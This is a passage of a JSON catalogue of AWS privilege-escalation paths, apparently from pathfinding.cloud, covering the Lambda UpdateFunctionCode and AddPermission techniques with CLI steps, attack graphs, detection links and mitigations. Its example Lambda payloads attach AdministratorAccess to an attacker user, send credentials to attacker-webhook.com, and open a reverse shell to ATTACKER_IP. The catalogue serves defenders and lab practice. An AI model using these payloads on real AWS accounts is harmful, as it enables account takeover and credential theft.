          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing the execution role's trust policy and permissions"
        },
        {
          "permission": "iam:ListAttachedRolePolicies",
          "resourceConstraints": "Useful for understanding what permissions the execution role has"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `lambda:UpdateFunctionCode` permission. This principal will modify the code of an existing Lambda function that has a privileged execution role, replacing it with malicious code to gain elevated privileges.\n"
        },
        {
          "id": "lambda_function",
          "label": "Existing Lambda Function",
          "type": "resource",
          "description": "An existing Lambda function with a privileged IAM execution role. The attacker has `lambda:InvokeFunction` permission to manually invoke the function after updating its code. The function's execution role determines the level of access the attacker will gain.\n"
        },
        {
          "id": "execution_role",
          "label": "Lambda Execution Role",
          "type": "principal",
          "description": "The IAM role attached to the Lambda function as its execution role. When the function is invoked, Lambda automatically assumes this role and makes its credentials available to the function code through the AWS SDK. All code executed in the function runs with the permissions of this execution role. This role must trust lambda.amazonaws.com in its trust policy.\n"
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Execute Attack via AWS SDK",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code uses the AWS SDK to directly perform privileged actions using the execution role's credentials. The function can call IAM APIs to elevate the starting principal's permissions, create access keys, modify policies, or perform other administrative actions. Since the function runs with the execution role's credentials automatically available, no credential exfiltration is needed.\n\nExample malicious Lambda code:\n```python\nimport boto3\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    # Attach admin policy to starting user\n    iam.attach_user_policy(\n        UserName='attacker-user',\n        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n    )\n    return {'statusCode': 200, 'body': 'Privilege escalation complete'}\n```\n\nThis is the most direct approach - the Lambda function immediately modifies IAM or performs other privileged actions using its execution role's permissions.\n"
        },
        {
          "id": "method_webhook_exfil",
          "label": "Method 2: Exfiltrate Credentials to Webhook",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the execution role's temporary credentials from the Lambda environment and exfiltrates them to an attacker-controlled webhook or HTTP endpoint. The credentials are automatically available in environment variables that the AWS SDK uses.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\nimport urllib.request\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Exfiltrate to webhook\n    req = urllib.request.Request(\n        'https://attacker-webhook.com/collect',\n        data=json.dumps(creds).encode(),\n        headers={'Content-Type': 'application/json'}\n    )\n    urllib.request.urlopen(req)\n\n    return {'statusCode': 200}\n```\n\nThe attacker receives the credentials remotely and can use them from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 3: Reverse Shell Connection",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access. From within the reverse shell, the attacker can access the execution role's credentials and run arbitrary AWS CLI commands.\n\nExample malicious Lambda code:\n```python\nimport socket\nimport subprocess\nimport os\n\ndef lambda_handler(event, context):\n    # Establish reverse shell\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect(('ATTACKER_IP', 4444))\n\n    # Redirect stdin/stdout/stderr to socket\n    os.dup2(s.fileno(), 0)\n    os.dup2(s.fileno(), 1)\n    os.dup2(s.fileno(), 2)\n\n    # Start shell\n    subprocess.call(['/bin/sh', '-i'])\n\n    return {'statusCode': 200}\n```\n\nThis provides an interactive shell session within the Lambda execution environment where the attacker can access credentials and execute AWS CLI commands with the execution role's permissions. The session lasts until the Lambda function times out (max 15 minutes).\n"
        },
        {
          "id": "method_output_exfil",
          "label": "Method 4: Exfiltrate Credentials to Output",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the execution role's temporary credentials from the Lambda environment and returns them in the function's response output. This allows the attacker to read the credentials directly from the Lambda invocation result without needing an external webhook or reverse shell.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Return credentials in the response\n    return {\n        'statusCode': 200,\n        'body': json.dumps({\n            'message': 'Credentials exfiltrated',\n            'credentials': creds\n        })\n    }\n```\n\nThe attacker invokes the function and reads the credentials from the response output. These credentials can then be exported and used from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target Lambda function's execution role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account by executing the malicious code. The code can directly modify IAM to grant the starting principal admin access or return admin credentials.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. This could include access to sensitive data stores (S3, RDS, DynamoDB), the ability to modify other resources, or permissions that enable additional privilege escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the Lambda function's execution role only has minimal permissions (e.g., just CloudWatch Logs access), the privilege escalation may not yield meaningful additional access. However, the attacker still gains code execution capability which could be useful for reconnaissance or as part of a multi-step attack.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "lambda_function",
          "label": "lambda:UpdateFunctionCode",
          "description": "The attacker updates the target Lambda function's code with malicious code. This requires creating a deployment package (ZIP file) containing the malicious code and uploading it to replace the function's existing code.\n\nCommands:\n```bash\necho 'import boto3; iam = boto3.client(\"iam\"); iam.attach_user_policy(UserName=\"attacker\", PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\")' > lambda_function.py\nzip exploit.zip lambda_function.py\naws lambda update-function-code \\\n  --function-name TARGET_FUNCTION \\\n  --zip-file fileb://exploit.zip\n```\n\nThe malicious code is now deployed and will execute with the function's execution role permissions when invoked.\n"
        },
        {
          "from": "lambda_function",
          "to": "execution_role",
          "label": "lambda:InvokeFunction",
          "description": "The attacker manually invokes the Lambda function using the `lambda:InvokeFunction` permission. When invoked, Lambda assumes the function's execution role and makes its credentials available to the malicious function code.\n\nCommand:\n```bash\naws lambda invoke \\\n  --function-name TARGET_FUNCTION \\\n  output.txt\n```\n\nThe function executes immediately with the execution role's credentials.\n"
        },
        {
          "from": "execution_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "description": "The malicious function code uses the AWS SDK to directly perform privileged actions. This is the most direct approach - the function immediately modifies IAM or performs other privileged actions using its execution role's permissions.\n"
        },
        {
          "from": "execution_role",
          "to": "method_webhook_exfil",
          "label": "Option B",
          "description": "The malicious function code retrieves the execution role's temporary credentials and exfiltrates them to an attacker-controlled webhook. The attacker can then use these credentials from any location.\n"
        },
        {
          "from": "execution_role",
          "to": "method_reverse_shell",
          "label": "Option C",
          "description": "The malicious function establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access with the execution role's credentials.\n"
        },
        {
          "from": "execution_role",
          "to": "method_output_exfil",
          "label": "Option D",
          "branch": "D",
          "description": "The attacker designed the malicious function code to retrieve the execution role's temporary credentials and return them in the Lambda response output. The attacker can then read the credentials directly from the invocation result."
        },
        {
          "from": "method_sdk_attack",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the Lambda function's execution role has AdministratorAccess or equivalent administrative permissions, the SDK attack directly grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the SDK attack can still grant useful additional permissions by modifying IAM within the role's permission scope or accessing sensitive resources.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the Lambda function's execution role only has minimal permissions (typically just CloudWatch Logs), the SDK attack will fail to perform meaningful privilege escalation. The attacker would need to choose a different exploitation method.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the Lambda function's execution role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the Lambda function's execution role only has minimal permissions (typically just CloudWatch Logs), the exfiltrated credentials may not provide significant additional access beyond what the starting principal already had.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the Lambda function's execution role has AdministratorAccess or equivalent administrative permissions, the reverse shell provides interactive access with full administrative credentials. The attacker can run any AWS CLI commands until the Lambda function times out.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the reverse shell provides interactive access to explore the available permissions and manually exploit them for partial privilege escalation.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the Lambda function's execution role only has minimal permissions, the reverse shell still provides interactive code execution capability which could be useful for reconnaissance, but may not provide significant privilege escalation.\n"
        },
        {
          "from": "method_output_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "D1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent administrative permissions, the credentials returned in the output provide the attacker with full administrative access to the AWS account from any location."
        },
        {
          "from": "method_output_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "D2",
          "condition": "some_permissions",
          "description": "If the execution role has elevated but non-administrative permissions, the credentials returned in the output provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources."
        },
        {
          "from": "method_output_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "D3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the credentials returned in the output may not provide significant additional access beyond what the starting principal already had."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-25T20:02:03Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/lambda/lambda-004.yaml"
  },
  {
    "id": "lambda-005",
    "parent": {
      "id": "lambda-003",
      "modification": "Adds lambda:AddPermission to grant self-invocation permission when the starting principal does not already have `lambda:InvokeFunction`"
    },
    "name": "lambda:UpdateFunctionCode + lambda:AddPermission",
    "category": "existing-passrole",
    "services": [
      "lambda"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L135",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L173"
    },
    "permissions": {
      "required": [
        {
          "permission": "lambda:UpdateFunctionCode",
          "resourceConstraints": "Must have permission to update the target Lambda function's code"
        },
        {
          "permission": "lambda:AddPermission",
          "resourceConstraints": "Must have permission to modify the target Lambda function's resource-based policy"
        }
      ],
      "additional": [
        {
          "permission": "lambda:ListFunctions",
          "resourceConstraints": "Helpful for discovering available Lambda functions to target"
        },
        {
          "permission": "lambda:GetFunction",
          "resourceConstraints": "Useful for viewing function details including execution role ARN and resource policy"
        },
        {
          "permission": "lambda:GetFunctionConfiguration",
          "resourceConstraints": "Useful for viewing function configuration details"
        },
        {
          "permission": "lambda:GetPolicy",
          "resourceConstraints": "Useful for viewing the function's resource-based policy"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing the execution role's trust policy and permissions"
        },
        {
          "permission": "iam:ListAttachedRolePolicies",
          "resourceConstraints": "Useful for understanding what permissions the execution role has"
        }
      ]
    },
    "description": "A principal with `lambda:UpdateFunctionCode` and `lambda:AddPermission` can modify an existing Lambda function's code with malicious code and grant themselves permission to invoke it via the resource-based policy. The attacker does not need `lambda:InvokeFunction` as an IAM permission because `lambda:AddPermission` grants invocation rights through the function's resource-based policy. This allows the attacker to execute the malicious code under the function's privileged execution role immediately, without waiting for automatic triggers.",
    "prerequisites": {
      "admin": [
        "A Lambda function must exist with an administrative execution role (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A Lambda function must exist with a privileged execution role"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws lambda get-function \\\n  --function-name TARGET_FUNCTION \\\n  --query 'Configuration.FunctionArn' \\\n  --output text\n",
          "description": "Identify the target Lambda function and retrieve its ARN and configuration details"
        },
        {
          "step": 2,
          "command": "cat > lambda_function.py << 'EOF'\nimport boto3\nimport json\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    starting_user = 'ATTACKER_USERNAME'\n\n    try:\n        iam.attach_user_policy(\n            UserName=starting_user,\n            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n        )\n        return {\n            'statusCode': 200,\n            'body': json.dumps({\n                'message': 'Successfully attached AdministratorAccess',\n                'user': starting_user\n            })\n        }\n    except Exception as e:\n        return {\n            'statusCode': 500,\n            'body': json.dumps({'error': str(e)})\n        }\nEOF\n",
          "description": "Create malicious Lambda function code that attaches AdministratorAccess to the starting user"
        },
        {
          "step": 3,
          "command": "zip exploit.zip lambda_function.py",
          "description": "Package the malicious code into a deployment package"
        },
        {
          "step": 4,
          "command": "aws lambda update-function-code \\\n  --function-name TARGET_FUNCTION \\\n  --zip-file fileb://exploit.zip\n",
          "description": "Update the target Lambda function with the malicious code"
        },
        {
          "step": 5,
          "command": "aws lambda add-permission \\\n  --function-name TARGET_FUNCTION \\\n  --statement-id AllowSelfInvoke \\\n  --action lambda:InvokeFunction \\\n  --principal arn:aws:iam::ACCOUNT_ID:user/ATTACKER_USERNAME\n",
          "description": "Add a resource-based policy statement allowing the starting principal to invoke the function"
        },
        {
          "step": 6,
          "command": "aws lambda invoke \\\n  --function-name TARGET_FUNCTION \\\n  --payload '{}' \\\n  response.json\n",
          "description": "Invoke the modified Lambda function to execute the malicious code and escalate privileges"
        },
        {
          "step": 7,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify that administrator access has been granted"
        }
      ]
    },
    "recommendation": "Restrict `lambda:UpdateFunctionCode`, `lambda:AddPermission`, and `lambda:InvokeFunction` permissions using the principle of least privilege. These permissions should be limited to specific Lambda function resources:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": [\n    \"lambda:UpdateFunctionCode\",\n    \"lambda:AddPermission\",\n    \"lambda:InvokeFunction\"\n  ],\n  \"Resource\": \"arn:aws:lambda:REGION:ACCOUNT_ID:function/SpecificFunction\"\n}\n```\n\nAdditional security controls:\n- Implement Lambda code signing to prevent unauthorized code modifications\n- Lambda execution roles should follow least privilege and never have AdministratorAccess\n- Use AWS Config rules to detect Lambda functions with overly permissive execution roles\n- Monitor CloudTrail for `UpdateFunctionCode`, `AddPermission`, and `InvokeFunction` events on sensitive functions\n- Implement SCPs to prevent modification of Lambda functions with privileged roles\n- Use IAM Access Analyzer to identify privilege escalation paths involving Lambda permissions\n- Protect resource-based policies by denying `lambda:AddPermission` except for trusted CI/CD roles\n- Enable CloudWatch alarms for unusual Lambda invocation patterns on privileged functions\n",
    "limitations": "This path provides administrative access only if the target Lambda function's execution role has administrative permissions (e.g., AdministratorAccess or equivalent custom policies). If the execution role has limited permissions, you gain access limited to those permissions. However, even limited execution role access may enable multi-hop attacks or access to sensitive data stores.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "pathfinding.cloud",
        "date": 2025
      },
      "derivativeOf": {
        "pathId": "lambda-003",
        "modification": "Adds lambda:AddPermission to grant self-invocation permission when the starting principal does not already have `lambda:InvokeFunction`"
      },
      "ultimateOrigin": {
        "pathId": "lambda-003",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation (Original UpdateFunctionCode Research)",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "AWS Lambda Privesc - HackTricks Cloud",
        "url": "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc"
      }
    ],
    "relatedPaths": [
      "lambda-003",
      "lambda-001",
      "lambda-002",
      "lambda-004"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/lambda-updatefunctioncode+lambda-addpermission",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "Lambda-EditExistingLambdaFunctionWithRole",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `lambda:UpdateFunctionCode` and `lambda:AddPermission` permissions. This principal will modify an existing Lambda function's code with malicious code and grant themselves invocation rights via the resource-based policy (using `lambda:AddPermission`). The attacker does not need `lambda:InvokeFunction` as an IAM permission because the resource-based policy grant provides invocation rights. This allows them to invoke the function and execute the malicious code under the function's privileged execution role.\n"
        },
        {
          "id": "lambda_function",
          "label": "Existing Lambda Function",
          "type": "resource",
          "description": "An existing Lambda function with a privileged IAM execution role. Unlike `lambda:UpdateFunctionCode` alone (LAMBDA-003), this attack path doesn't require waiting for automatic triggers. The attacker can immediately invoke the function after updating its code and granting themselves invocation permission via `lambda:AddPermission`.\n"
        },
        {
          "id": "grant_invoke_permission",
          "label": "Grant Self-Invocation via Resource Policy",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker uses `lambda:AddPermission` to add a statement to the Lambda function's resource-based policy that grants their principal permission to invoke the function. This bypasses any restrictive resource-based policies that might prevent initial invocation.\n\nCommand:\n```bash\naws lambda add-permission \\\n  --function-name TARGET_FUNCTION \\\n  --statement-id AllowSelfInvoke \\\n  --action lambda:InvokeFunction \\\n  --principal arn:aws:iam::ACCOUNT_ID:user/ATTACKER_USERNAME\n```\n\nThis resource-based policy grant is what makes this attack path more versatile than `lambda:UpdateFunctionCode` alone - it allows immediate execution without waiting for automatic triggers.\n"
        },
        {
          "id": "execution_role",
          "label": "Lambda Execution Role",
          "type": "principal",
          "description": "The IAM role attached to the Lambda function as its execution role. When the function is invoked, Lambda automatically assumes this role and makes its credentials available to the function code through the AWS SDK. All code executed in the function runs with the permissions of this execution role. This role must trust lambda.amazonaws.com in its trust policy.\n"
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Execute Attack via AWS SDK",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code uses the AWS SDK to directly perform privileged actions using the execution role's credentials. The function can call IAM APIs to elevate the starting principal's permissions, create access keys, modify policies, or perform other administrative actions. Since the function runs with the execution role's credentials automatically available, no credential exfiltration is needed.\n\nExample malicious Lambda code:\n```python\nimport boto3\nimport json\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    starting_user = 'ATTACKER_USERNAME'\n\n    try:\n        iam.attach_user_policy(\n            UserName=starting_user,\n            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n        )\n        return {\n            'statusCode': 200,\n            'body': json.dumps({\n                'message': 'Successfully attached AdministratorAccess',\n                'user': starting_user\n            })\n        }\n    except Exception as e:\n        return {\n            'statusCode': 500,\n            'body': json.dumps({'error': str(e)})\n        }\n```\n\nThis is the most direct approach - the Lambda function immediately modifies IAM or performs other privileged actions using its execution role's permissions.\n"
        },
        {
          "id": "method_webhook_exfil",
          "label": "Method 2: Exfiltrate Credentials to Webhook",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the execution role's temporary credentials from the Lambda environment and exfiltrates them to an attacker-controlled webhook or HTTP endpoint. The credentials are automatically available in environment variables that the AWS SDK uses.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\nimport urllib.request\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Exfiltrate to webhook\n    req = urllib.request.Request(\n        'https://attacker-webhook.com/collect',\n        data=json.dumps(creds).encode(),\n        headers={'Content-Type': 'application/json'}\n    )\n    urllib.request.urlopen(req)\n\n    return {'statusCode': 200}\n```\n\nThe attacker receives the credentials remotely and can use them from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 3: Reverse Shell Connection",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access. From within the reverse shell, the attacker can access the execution role's credentials and run arbitrary AWS CLI commands.\n\nExample malicious Lambda code:\n```python\nimport socket\nimport subprocess\nimport os\n\ndef lambda_handler(event, context):\n    # Establish reverse shell\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect(('ATTACKER_IP', 4444))\n\n    # Redirect stdin/stdout/stderr to socket\n    os.dup2(s.fileno(), 0)\n    os.dup2(s.fileno(), 1)\n    os.dup2(s.fileno(), 2)\n\n    # Start shell\n    subprocess.call(['/bin/sh', '-i'])\n\n    return {'statusCode': 200}\n```\n\nThis provides an interactive shell session within the Lambda execution environment where the attacker can access credentials and execute AWS CLI commands with the execution role's permissions. The session lasts until the Lambda function times out (max 15 minutes).\n"
        },
        {
          "id": "method_output_exfil",
          "label": "Method 4: Exfiltrate Credentials to Output",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the execution role's temporary credentials from the Lambda environment and returns them in the function's response output. This allows the attacker to read the credentials directly from the Lambda invocation result without needing an external webhook or reverse shell.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Return credentials in the response\n    return {\n        'statusCode': 200,\n        'body': json.dumps({\n            'message': 'Credentials exfiltrated',\n            'credentials': creds\n        })\n    }\n```\n\nThe attacker invokes the function and reads the credentials from the response output. These credentials can then be exported and used from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target Lambda function's execution role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account by executing the malicious code. The code can directly modify IAM to grant the starting principal admin access or return admin credentials.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. This could include access to sensitive data stores (S3, RDS, DynamoDB), the ability to modify other resources, or permissions that enable additional privilege escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the Lambda function's execution role only has minimal permissions (e.g., just CloudWatch Logs access), the privilege escalation may not yield meaningful additional access. However, the attacker still gains code execution capability which could be useful for reconnaissance or as part of a multi-step attack.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "lambda_function",
          "label": "lambda:UpdateFunctionCode",
          "description": "The attacker updates the target Lambda function's code with malicious code. This requires creating a deployment package (ZIP file) containing the malicious code and uploading it to replace the function's existing code.\n\nCommands:\n```bash\ncat > lambda_function.py << 'EOF'\nimport boto3\nimport json\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    starting_user = 'ATTACKER_USERNAME'\n    try:\n        iam.attach_user_policy(\n            UserName=starting_user,\n            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n        )\n        return {'statusCode': 200, 'body': json.dumps({'message': 'Success'})}\n    except Exception as e:\n        return {'statusCode': 500, 'body': json.dumps({'error': str(e)})}\nEOF\n\nzip exploit.zip lambda_function.py\n\naws lambda update-function-code \\\n  --function-name TARGET_FUNCTION \\\n  --zip-file fileb://exploit.zip\n```\n\nThe malicious code is now deployed and ready to execute with the function's execution role permissions when invoked.\n"
        },
        {
          "from": "lambda_function",
          "to": "grant_invoke_permission",
          "label": "lambda:AddPermission",
          "description": "The attacker adds a statement to the Lambda function's resource-based policy that grants their principal permission to invoke the function. This step is critical because it allows the attacker to invoke the function even if a restrictive resource-based policy previously prevented invocation.\n\nCommand:\n```bash\naws lambda add-permission \\\n  --function-name TARGET_FUNCTION \\\n  --statement-id AllowSelfInvoke \\\n  --action lambda:InvokeFunction \\\n  --principal arn:aws:iam::ACCOUNT_ID:user/ATTACKER_USERNAME\n```\n\nThis modifies the function's resource-based policy to explicitly allow the starting principal to invoke it.\n"
        },
        {
          "from": "grant_invoke_permission",
          "to": "execution_role",
          "label": "lambda:InvokeFunction",
          "description": "The attacker invokes the modified Lambda function using `lambda:InvokeFunction`. Since they've granted themselves invocation permission via the resource-based policy, the invocation succeeds. When invoked, Lambda assumes the function's execution role and makes its credentials available to the malicious function code.\n\nCommand:\n```bash\naws lambda invoke \\\n  --function-name TARGET_FUNCTION \\\n  --payload '{}' \\\n  response.json\n```\n\nThe function executes with the execution role's credentials, running the attacker's malicious code.\n"
        },
        {
          "from": "execution_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "branch": "A",
          "description": "The malicious function code uses the AWS SDK to directly perform privileged actions. This is the most direct approach - the function immediately modifies IAM or performs other privileged actions using its execution role's permissions.\n"
        },
        {
          "from": "execution_role",
          "to": "method_webhook_exfil",
          "label": "Option B",
          "branch": "B",
          "description": "The malicious function code retrieves the execution role's temporary credentials and exfiltrates them to an attacker-controlled webhook. The attacker can then use these credentials from any location.\n"
        },
        {
          "from": "execution_role",
          "to": "method_reverse_shell",
          "label": "Option C",
          "branch": "C",
          "description": "The malicious function establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access with the execution role's credentials.\n"
        },
        {
          "from": "execution_role",
          "to": "method_output_exfil",
          "label": "Option D",
          "branch": "D",
          "description": "The attacker designed the malicious function code to retrieve the execution role's temporary credentials and return them in the Lambda response output. The attacker can then read the credentials directly from the invocation result."
        },
        {
          "from": "method_sdk_attack",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the Lambda function's execution role has AdministratorAccess or equivalent administrative permissions, the SDK attack directly grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the SDK attack can still grant useful additional permissions by modifying IAM within the role's permission scope or accessing sensitive resources.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the Lambda function's execution role only has minimal permissions (typically just CloudWatch Logs), the SDK attack will fail to perform meaningful privilege escalation. The attacker would need to choose a different exploitation method or target a different function.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the Lambda function's execution role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the Lambda function's execution role only has minimal permissions (typically just CloudWatch Logs), the exfiltrated credentials may not provide significant additional access beyond what the starting principal already had.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin_outcome",
